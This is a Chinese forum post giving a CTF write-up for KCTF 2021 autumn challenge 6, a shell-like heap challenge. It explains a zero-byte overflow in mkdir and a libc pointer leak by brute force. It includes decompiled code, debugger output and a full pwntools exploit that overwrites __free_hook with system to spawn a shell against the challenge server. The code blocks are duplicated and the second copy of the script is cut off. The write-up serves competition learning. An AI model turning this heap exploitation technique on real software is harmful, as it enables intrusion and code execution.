首页
社区
课程
招聘
[原创]2021KCTF秋季赛 ch6 窥伺者谁
发表于: 2021-11-30 09:28 13897

[原创]2021KCTF秋季赛 ch6 窥伺者谁

2021-11-30 09:28
13897

题目是一个类似像shell一样的程序:

其中所有用户输入都用到了sysbuf这个buffer。

而仔细观察输入函数会发现,当长度正好等于max_length时,输入不会被\x00截断。

echo函数中存在如下一处输入,最长能输入0x5000:

借助\x00可以不截断的bug,就能让每次使用sysbuf时都拥有至多0x5000的长度。

func_mkdir中存在如下一个bug:
如果此处的dir_name长度大于0x20,虽然strncpy没有问题,但后面零截断时使用的offset为strlen(dir_name),能够让攻击者在buffer指定偏移处写一个0字节。

一开始想着去修改dir_name的lsb,然后leak一些指针,但在pwd,ls等函数中都存在check函数,导致失败。

这里我的做法是通过堆排布,去修改其他file1的content指针的lsb,然后借助file1能够修改file2的content_length,之后修改file1的name指针到堆上的libc指针。

echo中存在这样一处逻辑:

攻击者可以无限次调用这段逻辑,通过回显判断一个文件名是否存在。

假设0x556d8e4b6e80处存在一个libc指针,我们可以先修改name的lsb为0x85,通过上述echo的逻辑爆破得到0x7f;再修改name的lsb为0x84,爆破得到0x7f19;由此往复得到完整指针。

最后修改content指针到libc的freehook改为system getshell。

完整exp:

void run()
{
  size_t v0; // rax
  size_t v1; // rax
 
  write(1, "\n", 1uLL);
  v0 = strlen(username);
  write(1, username, v0);
  write(1, "@", 1uLL);
  v1 = strlen(hostname);
  write(1, hostname, v1);
  write(1, ":", 1uLL);
  pwd();
  write(1, "$ ", 2uLL);
  if ( !(unsigned int)read_n(sysbuf, 0x20u) )
    error();
  if ( !strcmp(sysbuf, "pwd") )
  {
    pwd();
  }
  else if ( !strcmp(sysbuf, "ls") )
  {
    ls();
  }
  else if ( !strcmp(sysbuf, "mkdir") )
  {
    mkdir_handler();
  }
  else if ( !strcmp(sysbuf, "cd") )
  {
    cd();
  }
  else if ( !strcmp(sysbuf, "cat") )
  {
    cat();
  }
  else if ( !strcmp(sysbuf, "touch") )
  {
    touch();
  }
  else
  {
    if ( !strcmp(sysbuf, "exit") )
      error();
    if ( !strcmp(sysbuf, "rm") )
    {
      rm();
    }
    else if ( !strcmp(sysbuf, "echo") )
    {
      echo();
    }
    else
    {
      write(1, "unknow command\n", 0xFuLL);
    }
  }
}
void run()
{
  size_t v0; // rax
  size_t v1; // rax
 
  write(1, "\n", 1uLL);
  v0 = strlen(username);
  write(1, username, v0);
  write(1, "@", 1uLL);
  v1 = strlen(hostname);
  write(1, hostname, v1);
  write(1, ":", 1uLL);
  pwd();
  write(1, "$ ", 2uLL);
  if ( !(unsigned int)read_n(sysbuf, 0x20u) )
    error();
  if ( !strcmp(sysbuf, "pwd") )
  {
    pwd();
  }
  else if ( !strcmp(sysbuf, "ls") )
  {
    ls();
  }
  else if ( !strcmp(sysbuf, "mkdir") )
  {
    mkdir_handler();
  }
  else if ( !strcmp(sysbuf, "cd") )
  {
    cd();
  }
  else if ( !strcmp(sysbuf, "cat") )
  {
    cat();
  }
  else if ( !strcmp(sysbuf, "touch") )
  {
    touch();
  }
  else
  {
    if ( !strcmp(sysbuf, "exit") )
      error();
    if ( !strcmp(sysbuf, "rm") )
    {
      rm();
    }
    else if ( !strcmp(sysbuf, "echo") )
    {
      echo();
    }
    else
    {
      write(1, "unknow command\n", 0xFuLL);
    }
  }
}
 
__int64 __fastcall read_n(char *a1, unsigned int max_len)
{
  unsigned int ans_size; // [rsp+14h] [rbp-Ch]
  unsigned int i; // [rsp+18h] [rbp-8h]
  int tmp_read_size; // [rsp+1Ch] [rbp-4h]
 
  ans_size = 0;
  for ( i = 0; i < max_len; ++i )
  {
    tmp_read_size = read(0, &a1[i], 1uLL);
    ans_size += tmp_read_size;
    if ( tmp_read_size != 1 || a1[ans_size - 1] == '\n' )
      break;
  }
  if ( !ans_size )
    exit(-1);
  if ( a1[ans_size - 1] == '\n' )               // may not zero end
    a1[--ans_size] = 0;
  return ans_size;
}
__int64 __fastcall read_n(char *a1, unsigned int max_len)
{
  unsigned int ans_size; // [rsp+14h] [rbp-Ch]
  unsigned int i; // [rsp+18h] [rbp-8h]
  int tmp_read_size; // [rsp+1Ch] [rbp-4h]
 
  ans_size = 0;
  for ( i = 0; i < max_len; ++i )
  {
    tmp_read_size = read(0, &a1[i], 1uLL);
    ans_size += tmp_read_size;
    if ( tmp_read_size != 1 || a1[ans_size - 1] == '\n' )
      break;
  }
  if ( !ans_size )
    exit(-1);
  if ( a1[ans_size - 1] == '\n' )               // may not zero end
    a1[--ans_size] = 0;
  return ans_size;
}
write(1, "arg> ", 5uLL);
buf_size = read_n(sysbuf, 0x5000u);           // set sysbuf
if ( !buf_size )
  error();
write(1, "arg> ", 5uLL);
buf_size = read_n(sysbuf, 0x5000u);           // set sysbuf
if ( !buf_size )
  error();
 
strncpy(new_node->dir_name, dir_name, 0x20uLL);
v3 = new_node->dir_name;
v3[strlen(dir_name)] = 0;                   // VULN: overflow zero
strncpy(new_node->dir_name, dir_name, 0x20uLL);
v3 = new_node->dir_name;
v3[strlen(dir_name)] = 0;                   // VULN: overflow zero
 
 
node = get_node(buff);
if ( node && node->is_file == 1 )
  write_to_file(node, sysbuf, buf_size);
else
  write(1, "invalid path\n", 0xDuLL);
node = get_node(buff);
if ( node && node->is_file == 1 )
  write_to_file(node, sysbuf, buf_size);
else
  write(1, "invalid path\n", 0xDuLL);
 
pwndbg> hex 0x556d8e4b6e80 8
+0000 0x556d8e4b6e80  20 b1 e3 63  19 7f 00 00
pwndbg> hex 0x556d8e4b6e80+5 8
+0000 0x556d8e4b6e85  7f 00 00 20  b1 e3 63 19
pwndbg> hex 0x556d8e4b6e80+4 8
+0000 0x556d8e4b6e84  19 7f 00 00  20 b1 e3 63
pwndbg> hex 0x556d8e4b6e80 8
+0000 0x556d8e4b6e80  20 b1 e3 63  19 7f 00 00
pwndbg> hex 0x556d8e4b6e80+5 8
+0000 0x556d8e4b6e85  7f 00 00 20  b1 e3 63 19
pwndbg> hex 0x556d8e4b6e80+4 8
+0000 0x556d8e4b6e84  19 7f 00 00  20 b1 e3 63
 
#!/usr/bin/env python3
#coding=utf8
import re
import inspect
import sys
import os
import subprocess as sp
from pwn import *
 
context.log_level = 'debug'
 
local = 1
 
if len(sys.argv) > 1:
    local = 0
 
if local:
    cn = process('./chall')
    pass
else:
    cn = remote('101.35.172.231',10000)
    pass
 
def tobytes(x): return x.encode('latin1') if isinstance(x, str) else x
def sd(x): return cn.send(tobytes(x))
def sl(x): return cn.sendline(tobytes(x))
def sa(a, b): return cn.sendafter(tobytes(a), tobytes(b))
def sla(a, b): return cn.sendlineafter(tobytes(a), tobytes(b))
def rv(x=0x1000): return cn.recv(x)
def rl(): return cn.recvline()
def ru(x): return cn.recvuntil(tobytes(x))
def raddr(): return u64(cn.recvuntil(b'\n')[:-1].ljust(8, b'\x00'))
def raddrn(x): return u64(rv(x).ljust(8, b'\x00'))
def interact(): return cn.interactive()
def ss(s): return success(s)
 
def logsym(val):
    for line in inspect.getframeinfo(inspect.currentframe().f_back)[3]:
        m = re.search(r'\blogsym\s*\(\s*([A-Za-z_][A-Za-z0-9_]*)\s*\)', line)
    if m:
        varname = m.group(1)
        ss(f"{varname} => {hex(val)}")
    else:
        ss(hex(val))
 
############################################
 
context.arch='amd64'
 
def touch(filename):
    sla('$','touch')
    sla('>',filename)
 
def evil_touch(filename):
    sla('$','touch')
    sa('>',filename)
 
def echo_to_file(filename,content):
    sla('$','echo')
    sla('>',content)
    sla('>','y')
    sla('>',filename)
 
def echo(content):
    sla('$','echo')
    sla('>',content)
    sla('>','n')
 
def mkdir(dirname):
    sla('$','mkdir')
    sla('>',dirname)
 
def rm(filename):
    sla('$','rm')
    sla('>',filename)
 
def cd(path):
    sla('$','cd')
    sla('>',path)
 
def ls(path):
    sla('$','ls')
    sla('>',path)
 
cd('tmp')
 
# dir 0
mkdir(f'd_0')
cd(f'd_0')
touch(f"f_0")
echo_to_file(f"f_0",'A'*0x20)
touch(f"f_1")
echo_to_file(f"f_1",'B'*0x40)
cd('..')
 
# dir 1
mkdir(f'd_1')
cd(f'd_1')
for i in range(0x10):
    touch(f"ff_{i}")
    echo_to_file(f"ff_{i}",'C'*0x10)
cd('..')
 
# out of tmp
cd('..')
 
echo_to_file(f"tmp/d_0/f_1",'\x00'*0x480)
echo_to_file(f"tmp/d_0/f_0",'A'*0x40)
echo('X'*0xc8) # evil offset, edit tmp/d_0/f_1->content lsb
 
cd('tmp/d_0')
evil_touch('X'*0x20) # trigger bof
cd('../..')
 
# edit tmp/d_1/ff_15 content size to 0xffffffff
echo_to_file(f"tmp/d_0/f_1",p64(0xffffffff))
 
padding=flat(
    'X'*0x10,
    0,0x491,
    'Q'*0x480,
    0,0xb1,
    '\x00'*0xa0,
)
 
touch('NNNN')
echo_to_file(f"NNNN",'\x00'*0x640)
touch('MMMM') # before top-thunk
 
echo_to_file(f"NNNN",'\x00'*0x700)
 
def crack_libc_ptr():
    def crack_byte():
        for ch in reversed(range(0x100)):
            if ch == 10:
                continue
            pay=flat(
                p8(ch)+ans[::-1]
            )
            echo_to_file(pay,'Q')
            d = ru('ch3cke')
            if b'invalid' not in d:
                return ch
        raise Exception("crack byte failed")
 
    length=5
    ans=bytearray([0x7f])
 
    for i in reversed(range(1,length)):
        pay = flat(
            padding,
            0,0xb1,
            p64(1),
            '\x00'*0x88,
            p8(0x80+i),
        )
        echo_to_file(f"tmp/d_1/ff_15",pay)
        ch = crack_byte()
        ans.append(ch)
 
    ans.append(0x20) # lsb
 
    return u64(ans[::-1].ljust(8,b'\x00'))
 
libc_ptr = crack_libc_ptr()
logsym(libc_ptr)
lbase=libc_ptr-0x3ec120
logsym(lbase)
 
sh = lbase+0x1b3e9f
freehook=lbase+0x3ed8e8
system=lbase+0x4f440
 
# edit freehook to system
pay = flat(
    padding,
    0,0xb1,
    p64(1),
    '\x00'*0x88,
    p64(sh),
    p64(freehook)
)
echo_to_file(f"tmp/d_1/ff_15",pay)
echo_to_file('sh',p64(system))
 
# call freehook("/bin/sh")
echo_to_file(f"tmp/d_1/ff_15","/bin/sh\x00")
rm(f"tmp/d_1/ff_15")
 
interact()
#!/usr/bin/env python3
#coding=utf8
import re
import inspect
import sys
import os
import subprocess as sp
from pwn import *
 
context.log_level = 'debug'
 
local = 1
 
if len(sys.argv) > 1:
    local = 0
 
if local:
    cn = process('./chall')
    pass
else:
    cn = remote('101.35.172.231',10000)
    pass
 
def tobytes(x): return x.encode('latin1') if isinstance(x, str) else x
def sd(x): return cn.send(tobytes(x))
def sl(x): return cn.sendline(tobytes(x))
def sa(a, b): return cn.sendafter(tobytes(a), tobytes(b))
def sla(a, b): return cn.sendlineafter(tobytes(a), tobytes(b))
def rv(x=0x1000): return cn.recv(x)
def rl(): return cn.recvline()
def ru(x): return cn.recvuntil(tobytes(x))
def raddr(): return u64(cn.recvuntil(b'\n')[:-1].ljust(8, b'\x00'))
def raddrn(x): return u64(rv(x).ljust(8, b'\x00'))
def interact(): return cn.interactive()
def ss(s): return success(s)
 
def logsym(val):
    for line in inspect.getframeinfo(inspect.currentframe().f_back)[3]:

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2021-11-30 09:30 被hxzene编辑 ,原因:
收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//